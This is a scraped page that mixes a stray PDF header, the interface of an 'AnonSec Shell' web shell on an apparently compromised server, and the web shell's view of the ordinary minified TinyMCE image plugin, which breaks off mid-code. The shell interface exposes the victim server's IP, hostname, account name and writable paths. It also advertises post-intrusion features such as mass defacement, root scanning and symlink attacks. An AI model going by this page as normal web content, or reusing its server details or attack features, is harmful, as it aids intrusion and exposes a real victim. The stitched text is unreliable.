%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/admin/vendors/tinymce/plugins/image/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/admin/vendors/tinymce/plugins/image/plugin.min.js
/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.0.6 (2019-05-22)
 */
!function(s){"use strict";var e,n,t,r,i=tinymce.util.Tools.resolve("tinymce.PluginManager"),o=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n]},h=function(e){return function(){return e}},a=function(e){return e},u=h(!1),c=h(!0),l=u,f=c,d=function(){return m},m=(r={fold:function(e,n){return e()},is:l,isSome:l,isNone:f,getOr:t=function(e){return e},getOrThunk:n=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:function(){return null},getOrUndefined:function(){return undefined},or:t,orThunk:n,map:d,ap:d,each:function(){},bind:d,flatten:d,exists:l,forall:f,filter:d,equals:e=function(e){return e.isNone()},equals_:e,toArray:function(){return[]},toString:h("none()")},Object.freeze&&Object.freeze(r),r),g=function(t){var e=function(){return t},n=function(){return i},r=function(e){return e(t)},i={fold:function(e,n){return n(t)},is:function(e){return t===e},isSome:f,isNone:l,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:n,orThunk:n,map:function(e){return g(e(t))},ap:function(e){return e.fold(d,function(e){return g(e(t))})},each:function(e){e(t)},bind:r,flatten:e,exists:r,forall:r,filter:function(e){return e(t)?i:m},equals:function(e){return e.is(t)},equals_:function(e,n){return e.fold(l,function(e){return n(t,e)})},toArray:function(){return[t]},toString:function(){return"some("+t+")"}};return i},w={some:g,none:d,from:function(e){return null===e||e===undefined?m:g(e)}},p=function(n){return function(e){return function(e){if(null===e)return"null";var n=typeof e;return"object"===n&&Array.prototype.isPrototypeOf(e)?"array":"object"===n&&String.prototype.isPrototypeOf(e)?"string":n}(e)===n}},O=p("string"),v=p("object"),b=p("function"),y=function(e,n){for(var t=0,r=e.length;t<r;t++)n(e[t],t,e)},S=Array.prototype.push,T=function(e){for(var n=[],t=0,r=e.length;t<r;++t){if(!Array.prototype.isPrototypeOf(e[t]))throw new Error("Arr.flatten item "+t+" was not an array, input: "+e);S.apply(n,e[t])}return n},N=(Array.prototype.slice,b(Array.from)&&Array.from,function(){return(N=Object.assign||function(e){for(var n,t=1,r=arguments.length;t<r;t++)for(var i in n=arguments[t])Object.prototype.hasOwnProperty.call(n,i)&&(e[i]=n[i]);return e}).apply(this,arguments)}),x=function(e){var t=w.none(),n=[],r=function(e){i()?a(e):n.push(e)},i=function(){return t.isSome()},o=function(e){y(e,a)},a=function(n){t.each(function(e){s.setTimeout(function(){n(e)},0)})};return e(function(e){t=w.some(e),o(n),n=[]}),{get:r,map:function(t){return x(function(n){r(function(e){n(t(e))})})},isReady:i}},D={nu:x,pure:function(n){return x(function(e){e(n)})}},E=function(n){var e=function(e){var r;n((r=e,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var t=this;s.setTimeout(function(){r.apply(t,e)},0)}))},t=function(){return D.nu(e)};return{map:function(r){return E(function(t){e(function(e){var n=r(e);t(n)})})},bind:function(t){return E(function(n){e(function(e){t(e).get(n)})})},anonBind:function(t){return E(function(n){e(function(e){t.get(n)})})},toLazy:t,toCached:function(){var n=null;return E(function(e){null===n&&(n=t()),n.get(e)})},get:e}},A={nu:E,pure:function(n){return E(function(e){e(n)})}},C=function(t){return{is:function(e){return t===e},isValue:c,isError:u,getOr:h(t),getOrThunk:h(t),getOrDie:h(t),or:function(e){return C(t)},orThunk:function(e){return C(t)},fold:function(e,n){return n(t)},map:function(e){return C(e(t))},mapError:function(e){return C(t)},each:function(e){e(t)},bind:function(e){return e(t)},exists:function(e){return e(t)},forall:function(e){return e(t)},toOption:function(){return w.some(t)}}},U=function(t){return{is:u,isValue:u,isError:c,getOr:a,getOrThunk:function(e){return e()},getOrDie:function(){return e=String(t),function(){throw new Error(e)}();var e},or:function(e){return e},orThunk:function(e){return e()},fold:function(e,n){return e(t)},map:function(e){return U(t)},mapError:function(e){return U(e(t))},each:o,bind:function(e){return U(t)},exists:u,forall:c,toOption:w.none}},I={value:C,error:U,fromOption:function(e,n){return e.fold(function(){return U(n)},C)}},_=function(o){return N({},o,{toCached:function(){return _(o.toCached())},bindFuture:function(n){return _(o.bind(function(e){return e.fold(function(e){return A.pure(I.error(e))},function(e){return n(e)})}))},bindResult:function(n){return _(o.map(function(e){return e.bind(n)}))},mapResult:function(n){return _(o.map(function(e){return e.map(n)}))},mapError:function(n){return _(o.map(function(e){return e.mapError(n)}))},foldResult:function(n,t){return o.map(function(e){return e.fold(n,t)})},withTimeout:function(e,i){return _(A.nu(function(n){var t=!1,r=s.setTimeout(function(){t=!0,n(I.error(i()))},e);o.get(function(e){t||(s.clearTimeout(r),n(e))})}))}})},R=function(e){return _(A.nu(e))},P=R,L=Object.prototype.hasOwnProperty,k=function(a){return function(){for(var e=new Array(arguments.length),n=0;n<e.length;n++)e[n]=arguments[n];if(0===e.length)throw new Error("Can't merge zero objects");for(var t={},r=0;r<e.length;r++){var i=e[r];for(var o in i)L.call(i,o)&&(t[o]=a(t[o],i[o]))}return t}},M=k(function(e,n){return v(e)&&v(n)?M(e,n):n}),H=k(function(e,n){return n}),j="undefined"!=typeof s.window?s.window:Function("return this;")(),z=function(e,n){return function(e,n){for(var t=n!==undefined&&null!==n?n:j,r=0;r<e.length&&t!==undefined&&null!==t;++r)t=t[e[r]];return t}(e.split("."),n)},B={getOrDie:function(e,n){var t=z(e,n);if(t===undefined||null===t)throw e+" not available on this browser";return t}},F=function(){return B.getOrDie("URL")},G=function(e){return F().createObjectURL(e)},W=function(e){F().revokeObjectURL(e)},X=function(e){var n=e.imageList.map(function(e){return{name:"images",type:"selectbox",label:"Image list",items:e}}),t=e.classList.map(function(e){return{name:"classes",type:"selectbox",label:"Class",items:e}});return T([[{name:"src",type:"urlinput",filetype:"image",label:"Source"}],n.toArray(),e.hasDescription?[{name:"alt",type:"input",label:"Image description"}]:[],e.hasImageTitle?[{name:"title",type:"input",label:"Image title"}]:[],e.hasDimensions?[{name:"dimensions",type:"sizeinput"}]:[],[{type:"grid",columns:2,items:T([t.toArray(),e.hasImageCaption?[{type:"label",label:"Caption",items:[{type:"checkbox",name:"caption",label:"Show caption"}]}]:[]])}]])},$=function(e){return{title:"General",items:X(e)}},q=X,V=tinymce.util.Tools.resolve("tinymce.util.Promise"),J=tinymce.util.Tools.resolve("tinymce.util.XHR"),Y=function(e){return e.getParam("images_upload_url","","string")},Z=function(e){return e.getParam("images_upload_handler",undefined,"function")},K={hasDimensions:function(e){return e.getParam("image_dimensions",!0,"boolean")},hasUploadTab:function(e){return e.getParam("image_uploadtab",!0,"boolean")},hasAdvTab:function(e){return e.getParam("image_advtab",!1,"boolean")},getPrependUrl:function(e){return e.getParam("image_prepend_url","","string")},getClassList:function(e){return e.getParam("image_class_list")},hasDescription:function(e){return e.getParam("image_description",!0,"boolean")},hasImageTitle:function(e){return e.getParam("image_title",!1,"boolean")},hasImageCaption:function(e){return e.getParam("image_caption",!1,"boolean")},getImageList:function(e){return e.getParam("image_list",!1)},hasUploadUrl:function(e){return!!Y(e)},hasUploadHandler:function(e){return!!Z(e)},getUploadUrl:Y,getUploadHandler:Z,getUploadBasePath:function(e){return e.getParam("images_upload_base_path",undefined,"string")},getUploadCredentials:function(e){return e.getParam("images_upload_credentials",!1,"boolean")}},Q=function(e,n){return Math.max(parseInt(e,10),parseInt(n,10))},ee=function(e,n){var t=s.document.createElement("img"),r=function(e){t.parentNode&&t.parentNode.removeChild(t),n(e)};t.onload=function(){var e={width:Q(t.width,t.clientWidth),height:Q(t.height,t.clientHeight)};r(I.value(e))},t.onerror=function(){r(I.error("Failed to get image dimensions for: "+e))};var i=t.style;i.visibility="hidden",i.position="fixed",i.bottom=i.left="0px",i.width=i.height="auto",s.document.body.appendChild(t),t.src=e},ne=function(e){return e&&(e=e.replace(/px$/,"")),e},te=function(e){return 0<e.length&&/^[0-9]+$/.test(e)&&(e+="px"),e},re=function(e){if(e.margin){var n=String(e.margin).split(" ");switch(n.length){case 1:e["margin-top"]=e["margin-top"]||n[0],e["margin-right"]=e["margin-right"]||n[0],e["margin-bottom"]=e["margin-bottom"]||n[0],e["margin-left"]=e["margin-left"]||n[0];break;case 2:e["margin-top"]=e["margin-top"]||n[0],e["margin-right"]=e["margin-right"]||n[1],e["margin-bottom"]=e["margin-bottom"]||n[0],e["margin-left"]=e["margin-left"]||n[1];break;case 3:e["margin-top"]=e["margin-top"]||n[0],e["margin-right"]=e["margin-right"]||n[1],e["margin-bottom"]=e["margin-bottom"]||n[2],e["margin-left"]=e["margin-left"]||n[1];break;case 4:e["margin-top"]=e["margin-top"]||n[0],e["margin-right"]=e["margin-right"]||n[1],e["margin-bottom"]=e["margin-bottom"]||n[2],e["margin-left"]=e["margin-left"]||n[3]}delete e.margin}return e},ie=function(e,n){var t=K.getImageList(e);"string"==typeof t?J.send({url:t,success:function(e){n(JSON.parse(e))}}):"function"==typeof t?t(n):n(t)},oe=function(e,n,t){var r=function(){t.onload=t.onerror=null,e.selection&&(e.selection.select(t),e.nodeChanged())};t.onload=function(){n.width||n.height||!K.hasDimensions(e)||e.dom.setAttribs(t,{width:String(t.clientWidth),height:String(t.clientHeight)}),r()},t.onerror=r},ae=function(i){return new V(function(e,n){var t=function r(){return new(B.getOrDie("FileReader"))}();t.onload=function(){e(t.result)},t.onerror=function(){n(t.error.message)},t.readAsDataURL(i)})},ue=function(e){return"IMG"===e.nodeName&&(e.hasAttribute("data-mce-object")||e.hasAttribute("data-mce-placeholder"))},se=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils").DOM,ce=function(e){return e.style.marginLeft&&e.style.marginRight&&e.style.marginLeft===e.style.marginRight?ne(e.style.marginLeft):""},le=function(e){return e.style.marginTop&&e.style.marginBottom&&e.style.marginTop===e.style.marginBottom?ne(e.style.marginTop):""},fe=function(e){return e.style.borderWidth?ne(e.style.borderWidth):""},de=function(e,n){return e.hasAttribute(n)?e.getAttribute(n):""},me=function(e,n){return e.style[n]?e.style[n]:""},ge=function(e){return null!==e.parentNode&&"FIGURE"===e.parentNode.nodeName},pe=function(e,n,t){e.setAttribute(n,t)},he=function(e){var n,t,r,i;ge(e)?(i=(r=e).parentNode,se.insertAfter(r,i),se.remove(i)):(n=e,t=se.create("figure",{"class":"image"}),se.insertAfter(t,n),t.appendChild(n),t.appendChild(se.create("figcaption",{contentEditable:"true"},"Caption")),t.contentEditable="false")},ve=function(e,n){var t=e.getAttribute("style"),r=n(null!==t?t:"");0<r.length?(e.setAttribute("style",r),e.setAttribute("data-mce-style",r)):e.removeAttribute("style")},be=function(e,r){return function(e,n,t){e.style[n]?(e.style[n]=te(t),ve(e,r)):pe(e,n,t)}},ye=function(e,n){return e.style[n]?ne(e.style[n]):de(e,n)},we=function(e,n){var t=te(n);e.style.marginLeft=t,e.style.marginRight=t},Oe=function(e,n){var t=te(n);e.style.marginTop=t,e.style.marginBottom=t},Se=function(e,n){var t=te(n);e.style.borderWidth=t},Te=function(e,n){e.style.borderStyle=n},Ne=function(e){return"FIGURE"===e.nodeName},xe=function(e,n){var t=s.document.createElement("img");return pe(t,"style",n.style),(ce(t)||""!==n.hspace)&&we(t,n.hspace),(le(t)||""!==n.vspace)&&Oe(t,n.vspace),(fe(t)||""!==n.border)&&Se(t,n.border),(me(t,"borderStyle")||""!==n.borderStyle)&&Te(t,n.borderStyle),e(t.getAttribute("style"))},De=function(e,n){return{src:de(n,"src"),alt:de(n,"alt"),title:de(n,"title"),width:ye(n,"width"),height:ye(n,"height"),"class":de(n,"class"),style:e(de(n,"style")),caption:ge(n),hspace:ce(n),vspace:le(n),border:fe(n),borderStyle:me(n,"borderStyle")}},Ee=function(e,n,t,r,i){t[r]!==n[r]&&i(e,r,t[r])},Ae=function(r,i){return function(e,n,t){r(e,t),ve(e,i)}},Ce=function(e,n,t){var r=De(e,t);Ee(t,r,n,"caption",function(e,n,t){return he(e)}),Ee(t,r,n,"src",pe),Ee(t,r,n,"alt",pe),Ee(t,r,n,"title",pe),Ee(t,r,n,"width",be(0,e)),Ee(t,r,n,"height",be(0,e)),Ee(t,r,n,"class",pe),Ee(t,r,n,"style",Ae(function(e,n){return pe(e,"style",n)},e)),Ee(t,r,n,"hspace",Ae(we,e)),Ee(t,r,n,"vspace",Ae(Oe,e)),Ee(t,r,n,"border",Ae(Se,e)),Ee(t,r,n,"borderStyle",Ae(Te,e))},Ue=function(e,n){var t=e.dom.styles.parse(n),r=re(t),i=e.dom.styles.parse(e.dom.styles.serialize(r));return e.dom.styles.serialize(i)},Ie=function(e){var n=e.selection.getNode(),t=e.dom.getParent(n,"figure.image");return t?e.dom.select("img",t)[0]:n&&("IMG"!==n.nodeName||ue(n))?null:n},_e=function(n,e){var t=n.dom,r=t.getParent(e.parentNode,function(e){return n.schema.getTextBlockElements()[e.nodeName]},n.getBody());return r?t.split(r,e):e},Re=function(n,e){var t=function(e,n){var t=s.document.createElement("img");if(Ce(e,H(n,{caption:!1}),t),pe(t,"alt",n.alt),n.caption){var r=se.create("figure",{"class":"image"});return r.appendChild(t),r.appendChild(se.create("figcaption",{contentEditable:"true"},"Caption")),r.contentEditable="false",r}return t}(function(e){return Ue(n,e)},e);n.dom.setAttrib(t,"data-mce-id","__mcenew"),n.focus(),n.selection.setContent(t.outerHTML);var r=n.dom.select('*[data-mce-id="__mcenew"]')[0];if(n.dom.setAttrib(r,"data-mce-id",null),Ne(r)){var i=_e(n,r);n.selection.select(i)}else n.selection.select(r)},Pe=function(e,n){var t=Ie(e);t?n.src?function(n,e){var t,r=Ie(n);if(Ce(function(e){return Ue(n,e)},e,r),t=r,n.dom.setAttrib(t,"src",t.getAttribute("src")),Ne(r.parentNode)){var i=r.parentNode;_e(n,i),n.selection.select(r.parentNode)}else n.selection.select(r),oe(n,e,r)}(e,n):function(e,n){if(n){var t=e.dom.is(n.parentNode,"figure.image")?n.parentNode:n;e.dom.remove(t),e.focus(),e.nodeChanged(),e.dom.isEmpty(e.getBody())&&(e.setContent(""),e.selection.setCursorLocation())}}(e,t):n.src&&Re(e,n)},Le=tinymce.util.Tools.resolve("tinymce.util.Tools"),ke=function(e){return O(e.value)?e.value:""},Me=function(e,i){var o=[];return Le.each(e,function(e){var n=O(e.text)?e.text:O(e.title)?e.title:"";if(e.menu!==undefined){var t=Me(e.menu,i);o.push({text:n,items:t})}else{var r=i(e);o.push({text:n,value:r})}}),o},He=function(n){return void 0===n&&(n=ke),function(e){return e?w.from(e).map(function(e){return Me(e,n)}):w.none()}},je=function(e,t){return function(e,n){for(var t=0;t<e.length;t++){var r=n(e[t],t);if(r.isSome())return r}return w.none()}(e,function(e){return n=e,Object.prototype.hasOwnProperty.call(n,"items")?je(e.items,t):e.value===t?w.some(e):w.none();var n})},ze=He,Be=function(e){return He(ke)(e)},Fe=function(e,n){return e.bind(function(e){return je(e,n)})};function Ge(u){var n=function(e,r,i,n){var o,t;(o=function a(){return new(B.getOrDie("XMLHttpRequest"))}()).open("POST",u.url),o.withCredentials=u.credentials,o.upload.onprogress=function(e){n(e.loaded/e.total*100)},o.onerror=function(){i("Image upload failed due to a XHR Transport error. Code: "+o.status)},o.onload=function(){var e,n,t;o.status<200||300<=o.status?i("HTTP Error: "+o.status):(e=JSON.parse(o.responseText))&&"string"==typeof e.location?r((n=u.basePath,t=e.location,n?n.replace(/\/$/,"")+"/"+t.replace(/^\//,""):t)):i("Invalid JSON: "+o.responseText)},(t=new s.FormData).append("file",e.blob(),e.filename()),o.send(t)};return u=Le.extend({credentials:!1,handler:n},u),{upload:function(e){return u.url||u.handler!==n?(r=e,i=u.handler,new V(function(e,n){try{i(r,e,n,o)}catch(t){n(t.message)}})):V.reject("Upload url missing from the settings.");var r,i}}}var We,Xe,$e,qe=function(e){return{title:"Advanced",items:[{type:"input",label:"Style",name:"style"},{type:"grid",columns:2,items:[{type:"input",label:"Vertical space",name:"vspace"},{type:"input",label:"Horizontal space",name:"hspace"},{type:"input",label:"Border width",name:"border"},{type:"selectbox",name:"borderstyle",label:"Border style",items:[{text:"Select...",value:""},{text:"Solid",value:"solid"},{text:"Dotted",value:"dotted"},{text:"Dashed",value:"dashed"},{text:"Double",value:"double"},{text:"Groove",value:"groove"},{text:"Ridge",value:"ridge"},{text:"Inset",value:"inset"},{text:"Outset",value:"outset"},{text:"None",value:"none"},{text:"Hidden",value:"hidden"}]}]}]}},Ve=function(t){var n,e,r=ze(function(e){return t.convertURL(e.value||e.url,"src")}),i=A.nu(function(n){ie(t,function(e){n(r(e).map(function(e){return T([[{text:"None",value:""}],e])}))})}),o=Be(K.getClassList(t)),a=K.hasAdvTab(t),u=K.hasUploadTab(t),s=K.hasUploadUrl(t),c=K.hasUploadHandler(t),l=(e=Ie(n=t))?De(function(e){return Ue(n,e)},e):{src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""},f=K.hasDescription(t),d=K.hasImageTitle(t),m=K.hasDimensions(t),g=K.hasImageCaption(t),p=K.getUploadUrl(t),h=K.getUploadBasePath(t),v=K.getUploadCredentials(t),b=K.getUploadHandler(t),y=w.some(K.getPrependUrl(t)).filter(function(e){return O(e)&&0<e.length});return i.map(function(e){return{image:l,imageList:e,classList:o,hasAdvTab:a,hasUploadTab:u,hasUploadUrl:s,hasUploadHandler:c,hasDescription:f,hasImageTitle:d,hasDimensions:m,hasImageCaption:g,url:p,basePath:h,credentials:v,handler:b,prependURL:y}})},Je=function(e){return{title:"Upload",items:[{type:"dropzone",name:"fileinput"}]}},Ye=function(e){return{src:{value:e.src,meta:{}},images:e.src,alt:e.alt,title:e.title,dimensions:{width:e.width,height:e.height},classes:e["class"],caption:e.caption,style:e.style,vspace:e.vspace,border:e.border,hspace:e.hspace,borderstyle:e.borderStyle,fileinput:[]}},Ze=function(e){return{src:e.src.value,alt:e.alt,title:e.title,width:e.dimensions.width,height:e.dimensions.height,"class":e.classes,style:e.style,caption:e.caption,hspace:e.hspace,vspace:e.vspace,border:e.border,borderStyle:e.borderstyle}},Ke=function(e,n){var t,r,i=n.getData();(t=e,r=i.src.value,/^(?:[a-zA-Z]+:)?\/\//.test(r)?w.none():t.prependURL.bind(function(e){return r.substring(0,e.length)!==e?w.some(e+r):w.none()})).each(function(e){n.setData({src:{value:e,meta:i.src.meta}})})},Qe=function(e,n){(function(e,n){var t=n.src.meta;if(t===undefined)return w.none();var r=M({},n);return e.hasDescription&&O(t.alt)&&(r.alt=t.alt),e.hasImageTitle&&O(t.title)&&(r.title=t.title),e.hasDimensions&&(O(t.width)&&(r.dimensions.width=t.width),O(t.height)&&(r.dimensions.height=t.height)),O(t["class"])&&Fe(e.classList,t["class"]).each(function(e){r.classes=e.value}),e.hasAdvTab&&(O(t.vspace)&&(r.vspace=t.vspace),O(t.border)&&(r.border=t.border),O(t.hspace)&&(r.hspace=t.hspace),O(t.borderstyle)&&(r.borderstyle=t.borderstyle)),w.some(r)})(e,n.getData()).each(function(e){return n.setData(e)})},en=function(e,n,t,r){var i,o,a,u,s,c,l,f,d,m,g,p;Ke(n,r),Qe(n,r),i=e,o=n,a=t,s=(u=r).getData(),c=s.src.value,(l=s.src.meta||{}).width||l.height||!o.hasDimensions||i.imageSize(c).get(function(e){e.each(function(e){a.open&&u.setData({dimensions:e})})}),f=n,d=t,g=(m=r).getData(),p=Fe(f.imageList,g.src.value),d.prevImage=p,m.setData({images:p.map(function(e){return e.value}).getOr("")})},nn=function(e,n,t){var r,i,o,a,u,s=re(e(t.style)),c=M({},t);return c.vspace=(r=s)["margin-top"]&&r["margin-bottom"]&&r["margin-top"]===r["margin-bottom"]?ne(String(r["margin-top"])):"",c.hspace=(i=s)["margin-right"]&&i["margin-left"]&&i["margin-right"]===i["margin-left"]?ne(String(i["margin-right"])):"",c.border=(o=s)["border-width"]?ne(String(o["border-width"])):"",c.borderstyle=(a=s)["border-style"]?String(a["border-style"]):"",c.style=(u=n)(e(u(s))),c},tn=function(a,u,s,c){var e,n=c.getData();c.block("Uploading image"),(e=n.fileinput,0===e.length?w.none():w.some(e[0])).fold(function(){c.unblock()},function(t){var r=G(t),i=Ge({url:u.url,basePath:u.basePath,credentials:u.credentials,handler:u.handler}),o=function(){c.unblock(),W(r)};ae(t).then(function(e){var n=a.createBlobCache(t,r,e);i.upload(n).then(function(e){c.setData({src:{value:e,meta:{}}}),c.showTab("General"),en(a,u,s,c),o()})["catch"](function(e){o(),a.alertErr(c,e)})})})},rn=function(h,v,b){return function(e,n){var t,r,i,o,a,u,s,c,l,f,d,m,g,p;"src"===n.name?en(h,v,b,e):"images"===n.name?(l=h,f=v,d=b,g=(m=e).getData(),(p=Fe(f.imageList,g.images)).each(function(e){""===g.alt||d.prevImage.map(function(e){return e.text===g.alt}).getOr(!1)?""===e.value?m.setData({src:e,alt:d.prevAlt}):m.setData({src:e,alt:e.text}):m.setData({src:e})}),d.prevImage=p,en(l,f,d,m)):"alt"===n.name?b.prevAlt=e.getData().alt:"style"===n.name?(a=h,s=(u=e).getData(),c=nn(a.parseStyle,a.serializeStyle,s),u.setData(c)):"vspace"===n.name||"hspace"===n.name||"border"===n.name||"borderstyle"===n.name?(t=h,r=e,i=M(Ye(v.image),r.getData()),o=xe(t.normalizeCss,Ze(i)),r.setData({style:o})):"fileinput"===n.name&&tn(h,v,b,e)}},on=function(o){return function(e){var n,t,r,i={prevImage:Fe((n=e).imageList,n.image.src),prevAlt:n.image.alt,open:!0};return{title:"Insert/Edit Image",size:"normal",body:(r=e,r.hasAdvTab||r.hasUploadUrl||r.hasUploadHandler?{type:"tabpanel",tabs:T([[$(r)],r.hasAdvTab?[qe(r)]:[],r.hasUploadTab&&(r.hasUploadUrl||r.hasUploadHandler)?[Je(r)]:[]])}:{type:"panel",items:q(r)}),buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:Ye(e.image),onSubmit:o.onSubmit(e),onChange:rn(o,e,i),onClose:(t=i,function(){t.open=!1})}}},an=function(n){var t,r,i,o,a,u,s,e={onSubmit:(s=n,function(t){return function(e){var n=M(Ye(t.image),e.getData());s.undoManager.transact(function(){Pe(s,Ze(n))}),s.editorUpload.uploadImagesAuto(),e.close()}}),imageSize:(u=n,function(e){return P(function(t){ee(u.documentBaseURI.toAbsolute(e),function(e){var n=e.map(function(e){return{width:String(e.width),height:String(e.height)}});t(n)})})}),createBlobCache:(a=n,function(e,n,t){return a.editorUpload.blobCache.create({blob:e,blobUri:n,name:e.name?e.name.replace(/\.[^\.]+$/,""):null,base64:t.split(",")[1]})}),alertErr:(o=n,function(e,n){o.windowManager.alert(n,e.close)}),normalizeCss:(i=n,function(e){return Ue(i,e)}),parseStyle:(r=n,function(e){return r.dom.parseStyle(e)}),serializeStyle:(t=n,function(e,n){return t.dom.serializeStyle(e,n)})};return{open:function(){return Ve(n).map(on(e)).get(function(e){n.windowManager.open(e)})}}},un=function(e){e.addCommand("mceImage",an(e).open)},sn=function(o){return function(e){for(var n,t=e.length,r=function(e){e.attr("contenteditable",o?"true":null)};t--;){var i=e[t];(n=i.attr("class"))&&/\bimage\b/.test(n)&&(i.attr("contenteditable",o?"false":null),Le.each(i.getAll("figcaption"),r))}}},cn=function(e){e.on("PreInit",function(){e.parser.addNodeFilter("figure",sn(!0)),e.serializer.addNodeFilter("figure",sn(!1))})},ln=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:h(e)}},fn={fromHtml:function(e,n){var t=(n||s.document).createElement("div");if(t.innerHTML=e,!t.hasChildNodes()||1<t.childNodes.length)throw s.console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return ln(t.childNodes[0])},fromTag:function(e,n){var t=(n||s.document).createElement(e);return ln(t)},fromText:function(e,n){var t=(n||s.document).createTextNode(e);return ln(t)},fromDom:ln,fromPoint:function(e,n,t){var r=e.dom();return w.from(r.elementFromPoint(n,t)).map(ln)}},dn=(s.Node.ATTRIBUTE_NODE,s.Node.CDATA_SECTION_NODE,s.Node.COMMENT_NODE,s.Node.DOCUMENT_NODE,s.Node.DOCUMENT_TYPE_NODE,s.Node.DOCUMENT_FRAGMENT_NODE,s.Node.ELEMENT_NODE,s.Node.TEXT_NODE,s.Node.PROCESSING_INSTRUCTION_NODE,s.Node.ENTITY_REFERENCE_NODE,s.Node.ENTITY_NODE,s.Node.NOTATION_NODE,function(e,n){var t=function(e,n){for(var t=0;t<e.length;t++){var r=e[t];if(r.test(n))return r}return undefined}(e,n);if(!t)return{major:0,minor:0};var r=function(e){return Number(n.replace(t,"$"+e))};return gn(r(1),r(2))}),mn=function(){return gn(0,0)},gn=function(e,n){return{major:e,minor:n}},pn={nu:gn,detect:function(e,n){var t=String(n).toLowerCase();return 0===e.length?mn():dn(e,t)},unknown:mn},hn="Firefox",vn=function(e,n){return function(){return n===e}},bn=function(e){var n=e.current;return{current:n,version:e.version,isEdge:vn("Edge",n),isChrome:vn("Chrome",n),isIE:vn("IE",n),isOpera:vn("Opera",n),isFirefox:vn(hn,n),isSafari:vn("Safari",n)}},yn={unknown:function(){return bn({current:undefined,version:pn.unknown()})},nu:bn,edge:h("Edge"),chrome:h("Chrome"),ie:h("IE"),opera:h("Opera"),firefox:h(hn),safari:h("Safari")},wn="Windows",On="Android",Sn="Solaris",Tn="FreeBSD",Nn=function(e,n){return function(){return n===e}},xn=function(e){var n=e.current;return{current:n,version:e.version,isWindows:Nn(wn,n),isiOS:Nn("iOS",n),isAndroid:Nn(On,n),isOSX:Nn("OSX",n),isLinux:Nn("Linux",n),isSolaris:Nn(Sn,n),isFreeBSD:Nn(Tn,n)}},Dn={unknown:function(){return xn({current:undefined,version:pn.unknown()})},nu:xn,windows:h(wn),ios:h("iOS"),android:h(On),linux:h("Linux"),osx:h("OSX"),solaris:h(Sn),freebsd:h(Tn)},En=function(e,n){var t=String(n).toLowerCase();return function(e,n){for(var t=0,r=e.length;t<r;t++){var i=e[t];if(n(i,t,e))return w.some(i)}return w.none()}(e,function(e){return e.search(t)})},An=function(e,t){return En(e,t).map(function(e){var n=pn.detect(e.versionRegexes,t);return{current:e.name,version:n}})},Cn=function(e,t){return En(e,t).map(function(e){var n=pn.detect(e.versionRegexes,t);return{current:e.name,version:n}})},Un=function(e,n){return-1!==e.indexOf(n)},In=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,_n=function(n){return function(e){return Un(e,n)}},Rn=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return Un(e,"edge/")&&Un(e,"chrome")&&Un(e,"safari")&&Un(e,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,In],search:function(e){return Un(e,"chrome")&&!Un(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return Un(e,"msie")||Un(e,"trident")}},{name:"Opera",versionRegexes:[In,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:_n("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:_n("firefox")},{name:"Safari",versionRegexes:[In,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(Un(e,"safari")||Un(e,"mobile/"))&&Un(e,"applewebkit")}}],Pn=[{name:"Windows",search:_n("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return Un(e,"iphone")||Un(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:_n("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:_n("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:_n("linux"),versionRegexes:[]},{name:"Solaris",search:_n("sunos"),versionRegexes:[]},{name:"FreeBSD",search:_n("freebsd"),versionRegexes:[]}],Ln={browsers:h(Rn),oses:h(Pn)},kn=function(e){var 